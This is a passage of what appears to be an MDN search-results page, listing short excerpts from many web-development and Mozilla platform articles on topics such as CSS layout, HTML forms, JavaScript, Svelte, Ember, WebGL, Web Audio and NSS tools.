....html" and attaches a content script to it: // main.js var tabs = require("sdk/tabs"); var self = require("sdk/self"); tabs.open({ url: self.data.url("page.html"), onready: attachscript }); function attachscript(tab) { tab.attach({ contentscriptfile: self.data.url("content-script.js") }); } the content script defines an object and assigns it to unsafewindow twice: the first time using cloneinto(), the second time using simple assignment: // content-script.js var contentscriptobject = {"greeting" : "hello from add-on"}; unsafewindow.clonedcontentscriptobject = cloneinto(contentscriptobject, unsafewindow); unsafewindow.assignedcontentscriptobject = contentscriptobject; the "page.html" file adds two buttons and assigns an event listener to each: one listener displays a proper...
...this means that you can't expose a function to a page script using cloneinto(), and if you clone an object into the page script scope, its methods will not be available to the page script.
...And 10 more matches
Private Properties - Archive of obsolete content
people have come up with several ways to emulate private properties using existing language features.
... this article discusses two common techniques: one using prefixes, the other closures.
...also shown here is how to generalize the idea of using weakmaps, from associating one or more private properties with an object, to associating one or more namespaces with each object.
...And 10 more matches
Writing to Files - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
...try { var file = io.getfile("desktop", "myinfo.txt"); var stream = io.newoutputstream(file, "text"); } catch (ex) { alert(ex); } this example retrieves a file object on the desktop called 'myinfo.txt' using nsiscriptableio.getfile().
...when writing text files, characters are writing using a chosen character set, encoded automatically.
...And 10 more matches
Introduction to XUL - Archive of obsolete content
in fact, most of mozilla's windows (and dialogs) will be described using this mechanism.
... terms "xpfe" is the term mozilla-the-organization is using to describe mozilla-the-browser's cross platform front end, because x and c look similar if you beat them long and hard with a hammer.
...it will send its command to the application for processing, generally using some simple javascript for linkage.
...And 10 more matches
Windows Media in Netscape - Archive of obsolete content
this article explains how to embed the windows media player activex control in web pages to support netscape 7.1, how to control the windows media player activex control using javascript and provides working examples.
...detecting the right browser like internet explorer, netscape 7.1 and later versions can play windows media files using the popular windows media player activex control.
...netscape 7.1 is the first netscape gecko™ browser to support the windows media player as an activex control -- previous netscape browsers did not support any activex controls, and thus detecting which versions of netscape support the windows media activex control is an important first step towards building multimedia experiences using html, javascript, and the windows media activex control.
...And 10 more matches
Introduction to CSS layout - Learn web development
for many of the elements on your page the normal flow will create exactly the layout you need, however for more complex layouts you will need to alter this default behavior using some of the tools available to you in css.
...static positioning is the default in normal flow, but you can cause elements to be laid out differently using other values, for example always fixed to the top of the browser viewport.
... table layout — features designed for styling the parts of an html table can be used on non-table elements using display: table and associated properties.
...And 10 more matches
Legacy layout methods - Learn web development
previous overview: css layout next grid systems are a very common feature used in css layouts, and before css grid layout they tended to be implemented using floats or other layout features.
... layout and grid systems before css grid layout it may seem surprising to anyone coming from a design background that css didn’t have an inbuilt grid system until very recently, and instead we seemed to be using a variety of sub-optimal methods to create grid-like designs.
...you will however encounter "grid systems" using these legacy methods from time to time.
...And 10 more matches
Fundamental text and font styling - Learn web development
text content effectively behaves like a series of inline elements, being laid out on lines adjacent to one another, and not creating line breaks until the end of the line is reached, or unless you force a line break manually using the <br> element.
...but it was a rare occasion such as this that he did.</p> you can find the finished example on github (see also the source code.) color the color property sets the color of the foreground content of the selected elements (which is usually the text, but can also include a couple of other things, such as an underline or overline placed on text using the text-decoration property).
... trebuchet ms sans-serif you should be careful with using this font — it isn't widely available on mobile oses.
...And 10 more matches
Storing the information you need — Variables - Learn web development
if you are using a desktop browser, the best place to type your sample code is your browser's javascript console (see what are browser developer tools for more information on how to access this tool).
... to understand why this is so useful, let's think about how we'd write this example without using a variable.
... you may not fully understand the syntax we are using (yet!), but you should be able to get the idea — if we didn't have variables available, we'd have to implement a giant code block that checked what the entered name was, and then display the appropriate message for any name.
...And 10 more matches
Working with Svelte stores - Learn web development
objective: learn how to use svelte stores using stores we will create an alert component that shows notifications on screen, which can receive messages from any component.
... repl to code along with us using the repl, start at https://svelte.dev/repl/d1fa84a5a4494366b179c87395940039?version=3.23.2 dealing with our app state we have already seen how our components can communicate with each other using props, two-way data binding, and events.
... svelte also provides a very intuitive way to integrate stores into its reactivity system using the reactive $store syntax.
...And 10 more matches
Introduction to cross browser testing - Learn web development
as a web developer, it is your responsibility to make sure that not only do your projects work, but they work for all your users, no matter what browser, device, or additional assistive tools they are using.
... you need to think about: different browsers other than the one or two that you use regularly on your devices, including slightly older browsers that some people might still be using, which don't support all the latest, shiniest css and javascript features.
...you can make some informed calls as to what browsers and devices your users will be using (as we'll discuss in the second article in the series — see gotta test 'em all?), but you can't guarantee everything.
...And 10 more matches
Client-side tooling overview - Learn web development
though your choice of code editor is certainly a tooling choice, this series of articles will go beyond that, focusing on developer tools that help you produce web code more efficiently.
... this part of the tooling should be specific to your own development environment, though it’s not uncommon for companies to have some kind of policy or pre-baked configuration available to install so that all their developers are all using the same processes.
...often linters can be configured to not only report errors, but also report any violations of a specified style guide that you team might be using (for example code that is using the wrong number of spaces for indentation, or using template literals rather than regular string literals).
...And 10 more matches
Message manager overview
communicate with frame scripts using message-passing apis there are various types of frame message managers, as depicted in this diagram: this diagram shows the setup when there are 2 browser windows open, one with 2 tabs open and one with 1 tab open.
...if you load a frame script using the global frame message manager, the script gets loaded separately into every open tab: three times, in the diagram above.
... similarly, if you send a message using the global frame message manager, it's received by all content tabs, and is then delivered to any frame scripts that are listening for it.
...And 10 more matches
NSS Tools modutil
using the security module database (modutil) newsgroup: mozilla.dev.tech.crypto the security module database tool is a command-line utility for managing pkcs #11 module information within secmod.db files or within hardware tokens.
...for information on certificate database and key database management, see using the certificate database tool.
... -jar jar-file add a new pkcs #11 module to the database using the named jar file.
...And 10 more matches
Working with data
this will also work: `ctypes.int.array()(jsarr)` mycarr.addressofelement(0).contents; // outputs: 4 mycarr.addressofelement(1).contents; // outputs: 10 type casting you can type cast data from one type to another by using the ctypes.cast() function: var newobj = ctypes.cast(origobj, newtype); this will return a new object whose data block is shared with the original object, but whose type is newtype.
...you can always get a pointer to the c value using the cdata object's address() method.
...in particular, comparing two different objects that are represented under-the-hood as javascript objects using the == or === operators will always return false.
...And 10 more matches
Basic concepts - Web APIs
for a detailed tutorial on how to use the api, see using indexeddb.
...you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see idbdatabase.transaction.) this is currently experimental, and can only be used if the dom.indexeddb.experimental pref is set to true in about:config.
...if the object store has a key path, it is using in-line keys; otherwise, it is using out-of-line keys.
...And 10 more matches
A basic 2D WebGL animation example - Web APIs
in this webgl example, we create a canvas and within it render a rotating square using webgl.
...its job, as always, is to convert the coordinates we're using for our scene into clipspace coordinates (that is, the system by which (0, 0) is at the center of the context and each axis extends from -1.0 to 1.0 regardless of the actual size of the context).
...ion.x * urotationvector.y + avertexposition.y * urotationvector.x, avertexposition.y * urotationvector.y - avertexposition.x * urotationvector.x ); gl_position = vec4(rotatedposition * uscalingfactor, 0.0, 1.0); } </script> the main program shares with us the attribute avertexposition, which is the position of the vertex in whatever coordinate system it's using.
...And 10 more matches
Migrating from webkitAudioContext - Web APIs
it was first implemented in webkit, and some of its older parts were not immediately removed as they were replaced in the specification, leading to many sites using non-compatible code.
... new engines implementing the web audio spec (such as gecko) will only implement the official, final version of the specification, which means that code using webkitaudiocontext or old naming conventions in the web audio specification may not immediately work out of the box in a compliant web audio implementation.
... in order to port your code, you can just rename the method that you're using.
...And 10 more matches
Operable - Accessibility
success criteria how to conform to the criteria practical resource 2.1.1 keyboard (a) all functionality should be accessible using keyboard controls, unless it cannot be done using the keyboard (e.g.
... see ui controls and building keyboard accessibility back in 2.1.2 no keyboard trap (a) when entering a section of functionality using the keyboard, you should be able to get out of that section again using *only* the keyboard.
... for example, if you press enter/return on a focused button to open an options window, you should be able to close that window again and return to the main content using the keyboard.
...And 10 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
if we position an item using absolute positioning, we use these physical keywords as offset values to push the item around.
... in the code snippet below, the item is placed 20 pixels from the top, and 30 pixels from the left of the container: .container { position: relative; } .item { position: absolute; top: 20px; left: 30px; } <div class="container"> <div class="item">item</div> </div> another place you might see physical keywords in use, is when using text-align: right to align text to the right.
...we add margins, padding, and borders using these physical properties of margin-left, padding-left, and so on.
...And 10 more matches
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
some simple grid layouts could be implemented for ie10, through to edge 15, using the -ms properties.
... as with any front-end technology choice, the decision to use css grid layout will come down to the browsers your site visitors are typically using.
... if they tend to use up-to-date versions of firefox, chrome, opera, and safari, then it would make sense to start using css grids once those browsers update.
...And 10 more matches
HTML5 - Developer guides
WebGuideHTMLHTML5
using html5 audio and video the <audio> and <video> elements embed and allow the manipulation of new multimedia content.
... improvement in <iframe> using the sandbox and srcdoc attributes, authors can now be precise about the level of security and the wished rendering of an <iframe> element.
... introduction to html5 this article introduces how to indicate to the browser that you are using html5 in your web design or web application.
...And 10 more matches
Image file type and format guide - Web media technologies
note: you should typically avoid using bmp for web site content, as it's not a generally-accepted use of the format.
...typically, modern content should use png for lossless and indexed still images, and should consider using apng for lossless animation sequences.
...additionally, their use for favicons has subsided in favor of using a png file and the <link> element, as described in providing icons for different usage contexts in <link>: the external resource link element.
...And 10 more matches
Introduction to progressive web apps - Progressive web apps (PWAs)
it's just a shorthand used initially by google for the concept of creating a flexible, adaptable app using only web technologies.
... pwas are web apps developed using a number of specific technologies and standard patterns to allow them to take advantage of both web and native app features.
...you can install a native app so that it works offline, and users love tapping their icons to easily access their favorite apps, rather than navigating to it using a browser.
...And 10 more matches
page-mod - Archive of obsolete content
if you supply the scripts as separate files in the "data" directory, you specify them using with a url, typically constructed using the url() method of the self module's data object: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: data.url("my-script.js") }); var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contents...
... instead, keep the script in a separate file and load it using contentscriptfile.
... to learn much more about communicating with content scripts, see the guide to content scripts and in particular the chapter on communicating using port.
...And 9 more matches
jpm - Archive of obsolete content
add the following line to the end of the file $home/.profile to add it to your path permanently (as the file .profile is executed every time a new terminal is opened): export path="$home/node_modules/.bin/:$path" installing jpm from git alternatively, you can also get the latest version of jpm using git: git clone https://github.com/mozilla-jetpack/jpm.git cd jpm npm install npm link after installing jpm after installation, at the command prompt, type: jpm you should see a screen summarizing the available jpm commands.
... see using profiles for more information.
... see using profiles for more information.
...And 9 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
the deleted advertising clause the original bsd license contained an advertising clause, which stated that “any advertising for software using an modification of this source code must display the name of the original developer.” this clause has been removed.
... when a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library.
... applying an oss license in this section, i will explain practical details of applying a license when you are using oss source code, and participating in open-source projects.
...And 9 more matches
Audio for Web games - Game development
jumping to, playing, and then pausing that silence will mean we can now use javascript to play that file at arbitrary points.
...also note that playing and immediately pausing your audio does not guarantee that a small piece of audio won't be played.
...although the situation is soon going to get better with the adoption of the web audio api, the current most widely-supported method — using the vanilla <audio> element — leads to patchy results on mobile devices.
...And 9 more matches
Supporting older browsers - Learn web development
previous overview: css layout next in this module, we recommend using flexbox and grid as the main layout methods for your designs.
...before deciding on the approach to take, find out the number of visitors coming to your site using older browsers.
... this is straightforward if you have an existing website which you are adding to or replacing, as you probably have analytics available which can tell you the technology people are using.
...And 9 more matches
Advanced form styling - Learn web development
to recap what we said in the previous article, we have: the bad: some elements are more difficult to style, requiring more complex css or some more specific tricks: checkboxes and radio buttons <input type="search"> the ugly: some elements can't be styled thoroughly using css.
...firefox settled on this because web developers mostly seemed to be using the -webkit- prefixed version, so it was better for compatibility.
...this stops any control you apply it to from using system-level styling, as much as possible, and lets you build up the styles yourself using css.
...And 9 more matches
Client-side form validation - Learn web development
in this chapter we are focusing on client-side validation.
... javascript validation is coded using javascript.
... using built-in form validation one of the most significant features of html5 form controls is the ability to validate most user data without relying on javascript.
...And 9 more matches
The HTML5 input types - Learn web development
objective: to understand the newer input type values available to create native form controls, and how to implement them using html.
... e-mail address field this type of field is set using the value email for the type attribute: <input type="email" id="email" name="email"> when this type is used, the user is required to type a valid email address into the field.
... this is another good reason for using these newer input types — improving the user experience for users of these devices.
...And 9 more matches
How to build custom form controls - Learn web development
the control was active and the user moves the focus to another control using the keyboard (e.g.
... creating the look and feel using css now that we have a structure, we can start designing our control.
...if the content overflows, we display an ellipsis */ display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow: ellipsis; vertical-align: top; } we don't need an extra element to design the down arrow; instead, we're using the :after pseudo-element.
...And 9 more matches
Other form controls - Learn web development
objective: to understand the non-<input> form features, and how to implement them using html.
... multi-line text fields a multi-line text field is specified using a <textarea> element, rather than using the <input> element.
...(using contenteditable on non-form controls provides an api for capturing html/"rich" content instead of plain text).
...And 9 more matches
Sending form data - Learn web development
a client (usually a web browser) sends a request to a server (most of the time a web server like apache, nginx, iis, tomcat, etc.), using the http protocol.
... the server answers the request using the same protocol.
...when you do this, the data is encrypted along with the rest of the request, even if the form itself is hosted on an insecure page accessed using http.
...And 9 more matches
From object to iframe — other embedding technologies - Learn web development
objective: to learn how to embed items into web pages using <object>, <embed>, and <iframe>, like flash movies and other webpages.
...let's look at how youtube allows us to embed a video in any page we like using an <iframe>.
... if you make a mistake, you can always reset it using the reset button.
...And 9 more matches
Graceful asynchronous programming with Promises - Learn web development
setstatusmessage("calling..."); navigator.mediadevices.getusermedia({video: true, audio: true}) .then(chatstream => { selfviewelem.srcobject = chatstream; chatstream.gettracks().foreach(track => mypeerconnection.addtrack(track, chatstream)); setstatusmessage("connected"); }).catch(err => { setstatusmessage("failed to connect"); }); } this function starts by using a function called setstatusmessage() to update a status display with the message "calling...", indicating that a call is being attempted.
...if we represented the above pseudo-code using asynchronous promises instead, we'd end up with something like this: choosetoppings() .then(function(toppings) { return placeorder(toppings); }) .then(function(order) { return collectorder(order); }) .then(function(pizza) { eatpizza(pizza); }) .catch(failurecallback); this is much better — it is easier to see what is going on, we only need a single .catch() block to handle all the error...
... using arrow functions, you can simplify the code even further: choosetoppings() .then(toppings => placeorder(toppings) ) .then(order => collectorder(order) ) .then(pizza => eatpizza(pizza) ) .catch(failurecallback); or even this: choosetoppings() .then(toppings => placeorder(toppings)) .then(order => collectorder(order)) .then(pizza => eatpizza(pizza)) .catch(failurecallback); this works beca...
...And 9 more matches
Basic math in JavaScript — numbers and operators - Learn web development
note: you may sometimes see exponents expressed using the older math.pow() method, which works in a very similar way.
... first try entering some simple examples of your own, such as 10 + 7 9 * 8 60 % 3 you can also try declaring and initializing some numbers inside variables, and try using those in the sums — the variables will behave exactly like the values they hold for the purposes of the sum.
...this can be conveniently done using the increment (++) and decrement (--) operators.
...And 9 more matches
Server-side web frameworks - Learn web development
the following sections illustrate some points using code fragments taken from real web frameworks.
... # django view function from django.http import httpresponse def index(request): # get an httprequest (request) # perform operations using information from the request.
...for example, the flask (python) web framework adds routes to view functions using a decorator.
...And 9 more matches
Ember interactivity: Events, classes and state - Learn web development
along the way, we'll look at using events in ember, creating component classes to contain javascript code to control interactive features, and setting up a service to keep track of the data state of our app.
... objective: to learn how to create component classes and use events to control interactivity, and keep track of app state using a service.
...dercomponent extends component { @action onkeydown({ target, key }) { let text = target.value.trim(); let hasvalue = boolean(text); if (key === 'enter' && hasvalue) { alert(text); target.value = '' } } } the @action decorator is the only ember-specific code here (aside from extending from the component superclass, and the ember-specific items we are importing using javascript module syntax) — the rest of the file is vanilla javascript, and would work in any application.
...And 9 more matches
Componentizing our Svelte app - Learn web development
repl to code along with us using the repl, start at https://svelte.dev/repl/99b9eb228b404a2f8c8959b22c0a40d3?version=3.23.2 breaking the app into components in svelte, an application is composed from one or more components.
...data ordinarily flows down from parent to child using props.
... using bind, we will tell svelte that any changes made to the filter prop in the filterbutton component should propagate back up to the parent component, todos.
...And 9 more matches
Implementing feature detection - Learn web development
if you don't do this, browsers that don't support the features you are using in your code won't display your sites properly and will just fail, creating a bad user experience.
...therefore, you can detect whether the browser supports geolocation or not by using something like the following: if ("geolocation" in navigator) { navigator.geolocation.getcurrentposition(function(position) { // show the location on a map, perhaps using the google maps api }); } else { // give the user a choice of static maps instead perhaps } it is probably better to use an established feature detection library however, rather than writing your own all the time.
...see using bad browser sniffing code for more details.
...And 9 more matches
Mozilla Web Developer FAQ
since also other contemporary browsers have a standards mode, activating the standards mode or the almost standards mode in other browsers as well (using the above-mentioned exact doctypes) is the best way to get consistent css layout results across different browsers.
... when the paragraph markup is called for but the default margins are unwanted, zero margins can be suggested using css.
... you can see the http headers sent by the server by using the livehttpheaders extension or by using the web sniffer.
...And 9 more matches
An overview of NSS Internals
this is often sufficient if you encrypt data for yourself, but as soon as you need to exchange signed/encrypted data with communication partners, using public key encryption simplifies the key management.
...the public keys that are exchanged between parties are transported using a container; the container is called a certificate, following standard x.509 version 3.
... because of nss's expectation to operate with an nss database, it's mandatory that you perform an initialization call, where you tell nss which database you will be using.
...And 9 more matches
NSS tools : certutil
when you delete keys, be sure to also remove any certificates associated with those keys from the certificate database, by using -d.
... -m modify a certificate's trust attributes using the values of the -t argument.
... for example, using this option to set a value of 3 would cause 3 to be added to the three-month default, creating a validity period of six months.
...And 9 more matches
certutil
when you delete keys, be sure to also remove any certificates associated with those keys from the certificate database, by using -d.
... -m modify a certificate's trust attributes using the values of the -t argument.
...for example, using this option to set a value of 3 would cause 3 to be added to the three-month default, creating a validity period of six months.
...And 9 more matches
Web Replay
this requires using the same build of firefox and a reasonably similar version of the operating system; otherwise the tab will probably crash.
... ipc integration allows a replaying process to communicate with the chrome process using ipdl and shared memory.
... threads use file descriptors to wait on locks and notify each other, instead of using the native implementation for locking and condition variables.
...And 9 more matches
XPCOM glue
MozillaTechXPCOMGlue
this is typically done using gre_getgrepathwithproperties.
... embedders using the standalone glue typically also need to avoid linking against nspr as well.
... however, when using threadsafe together with the glue libraries from gecko 1.8 or later, a special step needs to be taken to use ns_impl_threadsafe_isupportsn.
...And 9 more matches
Starting WebLock
using them is a good way for objects to pass messages to each other without the objects having explicit knowledge of one another.
...we could have just as easily have used the raw queryinterface() method, but using nscomptr is much more economical (see smart pointers).
...this process is similar to using createinstance from the nsicomponentmanager, but there is no aggregation parameter since the object has already been constructed.
...And 9 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
web video text tracks format (webvtt) is a format for displaying timed text tracks (such as subtitles or captions) using the <track> element.
...webvtt is a text based format, which must be encoded using utf-8.
...if you wish to use such characters, you need to escape them using for example &amp; for ampersand and &lt; for less-than.
...And 9 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
representing a position using a reference space as covered in defining spatial relationships with reference spaces in geometry and reference spaces in webxr, reference spaces establish a local coordinate system which is offset from another coordinate system that is itself defined by some other space.
... because each of these is defined using a reference space as its foundation, the webxr device api can easily be used to convert among the coordinate systems, perform operations affecting these spaces and their corresponding objects, and so forth.
...this is done using poses.
...And 9 more matches
Web Audio API - Web APIs
using a system based on a source-listener model, it allows control of the panning model and deals with distance-induced attenuation induced by a moving source (or moving listener).
... audiobuffer the audiobuffer interface represents a short audio asset residing in memory, created from an audio file using the audiocontext.decodeaudiodata() method, or created with raw data using audiocontext.createbuffer().
...when creating the node using the createmediastreamtracksource() method to create the node, you specify which track to use.
...And 9 more matches
Window - Web APIs
WebAPIWindow
a window for a given document can be obtained using the document.defaultview property.
... window.issecurecontext read only indicates whether a context is capable of using features that require secure contexts.
...see also using navigation timing for additional information and examples.
...And 9 more matches
Grid template areas - CSS: Cascading Style Sheets
this method involves placing our items using named template areas, and we will find out exactly how this method works.
...this time, instead of placing my items using line numbers specified on the items themselves, i create the whole layout on the grid container.
...round-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="header">header</div> <div class="sidebar">sidebar</div> <div class="content">content</div> <div class="footer">footer</div> </div> using this method we do not need to specify anything at all on the individual grid items, everything happens on our grid container.
...And 9 more matches
Index - HTTP
WebHTTPHeadersIndex
using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-type response header.
...using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice within the content-type response header.
...using content negotiation, the server selects one of the proposals, uses it and informs the client of its choice with the content-encoding response header.
...And 9 more matches
String - JavaScript
some of the most-used operations on strings are to check their length, to build and concatenate them using the + and += string operators, checking for the existence or location of substrings with the indexof() method, or extracting substrings with the substring() method.
... creating strings strings can be created as primitives, from string literals, or as objects, using the string() constructor: const string1 = "a string primitive"; const string2 = 'also a string primitive'; const string3 = `yet another string primitive`; const string4 = new string("a string object"); string primitives and string objects can be used interchangeably in most situations.
... string literals can be specified using single or double quotes, which are treated identically, or using the backtick character `.
...And 9 more matches
Modules - Archive of obsolete content
we will show how to do each of these things using the built-in components object provided by xulrunner application such as firefox and thunderbird.
... the module system used by the sdk is based on the commonjs specification: it is implemented using a loader object, which handles all the bookkeeping related to module loading, such as resolving and caching urls.
... we show how to create your own custom loaders, using the loader constructor provided by the sdk.
...And 8 more matches
Preferences - Archive of obsolete content
the interfaces dealing with preferences are fairly well documented, so using the methods not mentioned here should be straightforward.
...using them is as easy as: // get the "accessibility." branch var prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice).getbranch("accessibility."); // prefs is an nsiprefbranch.
... you can get both trees using the nsiprefservice.getbranch() and nsiprefservice.getdefaultbranch() functions.
...And 8 more matches
Adding windows and dialogs - Archive of obsolete content
whenever you need a new dialog, you should ask yourself if it can be implemented using these common dialogs, and use them whenever it is possible.
... using the prompt service is the recommended way to create common dialogs in an extension.
...we have been using the window.alert function to open alert messages in our examples so far, but that's not the right way to do it.
...And 8 more matches
Custom XUL Elements with XBL - Archive of obsolete content
many complex elements such as tabs, buttons and input controls are implemented using xbl and simpler xul elements.
... we'll look into xbl using a modified version of the hello world extension.
... if you use bindings on toolbar elements, remember to include the css file in the customize dialog, using the style directive in the chrome.manifest file.
...And 8 more matches
Modularization techniques - Archive of obsolete content
the mechanism we're using is based on the principles laid down by com, so pretty much anything you know about com can be applied here, and any reference on com can provide you with more interesting and complex examples than the ones provided here.
... interface interrogation is performed using the queryinterface() method.
... reference counting is performed using the addref() and release() methods.
...And 8 more matches
XUL accessibility guidelines - Archive of obsolete content
tab order provide a logical tab order and ensure that users can navigate all content using a keyboard.
...a short reference for using the accesskey attribute.
...consider using context menu items or other xul elements along with keyboard shortcuts.
...And 8 more matches
The Implementation of the Application Object Model - Archive of obsolete content
the first section of the document describes the motivation and reasoning behind using rdf as the foundation of xul.
... this section makes a technical argument both for having xul in the first place and for using rdf as the underlying implementation of xul's content model.
...it makes more sense to describe a content tree structure according to the accepted standards (that is accessible and manipulable via standard dom apis) using a real markup language, either an extension of html or an xml language like xul.
...And 8 more matches
Getting started with XULRunner - Archive of obsolete content
next » this article explores the mozilla platform by building a basic desktop application using xulrunner.
... given that firefox, thunderbird, and multiple other applications are written using the platform, it's a safe bet that it can be used to build a basic application.
... note: if you are using firefox build from ubuntuzilla repository, replace /usr/lib/firefox/platform.ini with /opt/firefox/platform.ini.
...And 8 more matches
Efficient animation for web games - Game development
there are several techniques worth knowing that will improve the performance of your game or application whilst also using less battery life, especially on low-end devices.
... help the browser help you if you are using dom for your ui, which i would certainly recommend, you really ought to use css transitions and/or css animations, rather than javascript-powered animations.
...when you animate position with javascript, the browser cannot easily make that same assumption, and so you might end up causing it to draw only the newly-exposed region of content, which may introduce slow-down.
...And 8 more matches
Grids - Learn web development
prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand the fundamental concepts behind grid layout systems, and how to implement a grid layout using css grid.
... the following video provides a nice visual explanation of using css grid: defining a grid as a starting point, download and open the starting point file in your text editor and browser (you can also see it live here).
... padding: 10px; background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } <div class="container"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> </div> .container { display: grid; grid-template-columns: 200px 200px 200px; } flexible grids with the fr unit in addition to creating grids using lengths and percentages, we can use the fr unit to flexibly size grid rows and columns.
...And 8 more matches
Styling web forms - Learn web development
not all widgets are created equal when css is involved at present, some difficulties remain when using css with forms.
... the ugly some elements can't be styled thoroughly using css.
... if you want to thoroughly customize those widgets, you really have to create your own using html, css, and javascript.
...And 8 more matches
Fetching data from the server - Learn web development
this is achieved by using apis like xmlhttprequest or — more recently — the fetch api.
... the ajax model involves using a web api as a proxy to more intelligently request data rather than just having the browser reload the entire page.
... a basic ajax request let's look at how such a request is handled, using both xmlhttprequest and fetch.
...And 8 more matches
Working with JSON - Learn web development
you'll come across it quite often, so in this article we give you all you need to work with json using javascript, including parsing json so you can access data within it, and creating json.
...{ "name": "eternal flame", "age": 1000000, "secretidentity": "unknown", "powers": [ "immortality", "heat immunity", "inferno", "teleportation", "interdimensional travel" ] } ] } if we loaded this object into a javascript program, parsed in a variable called superheroes for example, we could then access the data inside it using the same dot/bracket notation we looked at in the javascript object basics article.
...you can validate json using an application like jsonlint.
...And 8 more matches
Accessibility in React - Learn web development
focusing between templates when a user toggles a <todo/> template from viewing to editing, we should focus on the <input> used to rename it; when they toggle back from editing to viewing, we should move focus back to the "edit" button.
...should be updated like this: <input id={props.id} classname="todo-text" type="text" value={newname} onchange={handlechange} ref={editfieldref} /> the "edit" button in your view template should read like this: <button type="button" classname="btn" onclick={() => setediting(true)} ref={editbuttonref} > edit <span classname="visually-hidden">{props.name}</span> </button> focusing on our refs with useeffect to use our refs for their intended purpose, we need to import another react hook: useeffect().
... focusing on our editing field now that we know our useeffect() hook works, we can manage focus with it.
...And 8 more matches
Getting started with Svelte - Learn web development
note that you can also use the yarn package manager in place of npm, but we'll assume you are using npm in this set of tutorials.
... if you're using windows, you will need to install some software to give you parity with unix/macos terminal in order to use the terminal commands mentioned in this tutorial.
...this is much quicker than using git clone because it will not download all the history of the repo, or create a complete local clone.
...And 8 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
add the submit handler to your <form> element like so: <form @submit="onsubmit"> when you run this, the app still posts the data to the server, causing a refresh.
... .passive: equivalent to using the { passive: true } parameter when creating an event listener in vanilla javascript using addeventlistener().
...however, the exact event and attribute combination varies depending on input types and will take more code than just using the v-model shortcut.
...And 8 more matches
Detailed XPCOM hashtable guide
items are found, added, and removed from the hashtable by using the key.
...if you need entry pointers to remain constant, you may want to consider using plhashtable instead.
...because pldhash does not know what datatype your key is, all functions that work with keys are declared using const void*, and your client code must cast these pointers to the appropriate type.
...And 8 more matches
nsINavBookmarksService
try to avoid using it.
...try to avoid using it.
...try to avoid using it.
...And 8 more matches
Index
for the message pane, the icon we will show is on disk at: <profile home>/nim/<value of pref aim.session.screenname>/picture/<screenname for sender email address>.gif when trying to determine the screenname for the sender, we search the addressbook that we are using for collection.
... 19 creating a gloda message query thunderbird 3, thunderbird this page describes how to programmatically create a message query using gloda, thunderbird's global database.
... the following preferences are supported to control how this gets logged: 30 gloda examples thunderbird 3, thunderbird this page provides some examples for using gloda.
...And 8 more matches
Background Tasks API - Web APIs
window.requestidlecallback() makes it possible to become actively engaged in helping to ensure that the browser's event loop runs smoothly, by allowing the browser to tell your code how much time it can safely use without causing the system to lag.
... getting the most out of idle callbacks because idle callbacks are intended to give your code a way to cooperate with the event loop to ensure that the system is utilized to its full potential without over-tasking it, resulting in lag or other performance problems, you should be thoughtful about how you go about using them.
...while the browser, your code, and the web in general will continue to run normally if you go over the specified time limit (even if you go way over it), the time restriction is intended to ensure that you leave the system enough time to finish the current pass through the event loop and get on to the next one without causing other code to stutter or animation effects to lag.
...And 8 more matches
Drawing shapes with canvas - Web APIs
to make shapes using paths, we take some extra steps: first, you create the path.
...the starting point can also be changed by using the moveto() method.
... quadraticcurveto(cp1x, cp1y, x, y) draws a quadratic bézier curve from the current pen position to the end point specified by x and y, using the control point specified by cp1x and cp1y.
...And 8 more matches
Key Values - Web APIs
learn how to use these key values in javascript using keyboardevent.key special values | modifier keys | whitespace keys | navigation keys | editing keys | ui keys | device keys | ime and composition keys | function keys | phone keys | multimedia keys | audio control keys | tv control keys | media controller keys | speech recognition keys | document keys | application selector keys | browser control keys | numeric keypad keys special values values of key which have special meanings other than identifying a specific key or character.
... ime and composition keys keys used when using an input method editor (ime) to input text which can't readily be entered by simple keypresses, such as text in languages such as those which have more graphemes than there are character entry keys on the keyboard.
... see dead keycodes for linux below "finalmode" the final (final mode) key is used on some asian keyboards to enter final mode when using imes.
...And 8 more matches
An overview of accessible web applications and widgets - Accessibility
since the html4 specification doesn't provide built-in tags that semantically describe these kinds of widgets, developers typically resort to using generic elements such as <div> and <span>.
... many of these were later added in html5, and developers should always prefer using the correct semantic html element over using aria.
... this provides a much more consistent user experience than was possible in the previous generation of web applications, since assistive technology users can apply all of their knowledge of how desktop applications work when they are using web-based applications.
...And 8 more matches
Cognitive accessibility - Accessibility
ve skills include: attention memory processing speed time management letters and language numbers symbols and math understanding and making choices a solid approach to providing accessible solutions for people with cognitive impairments includes: delivering content in more than one way, such as by text-to-speech or by video; providing easily-understood content, such as text written using plain-language standards; focusing attention on important content; minimizing distractions, such as unnecessary content or advertisements; providing consistent web page layout and navigation; incorporating familiar elements, such as underlined links that are blue when not visited and purple when visited; dividing processes into logical, essential steps with progress indicators; making websi...
... focused elements should be visibly focused when a user navigates using a keyboard, the ui should make it obvious which element currently has focus.
...if you have added content to links for screen readers, and that content is verbose and potentially confusing to sighted readers, consider clipping the added text to visually hide it from those not using assistive technologies.
...And 8 more matches
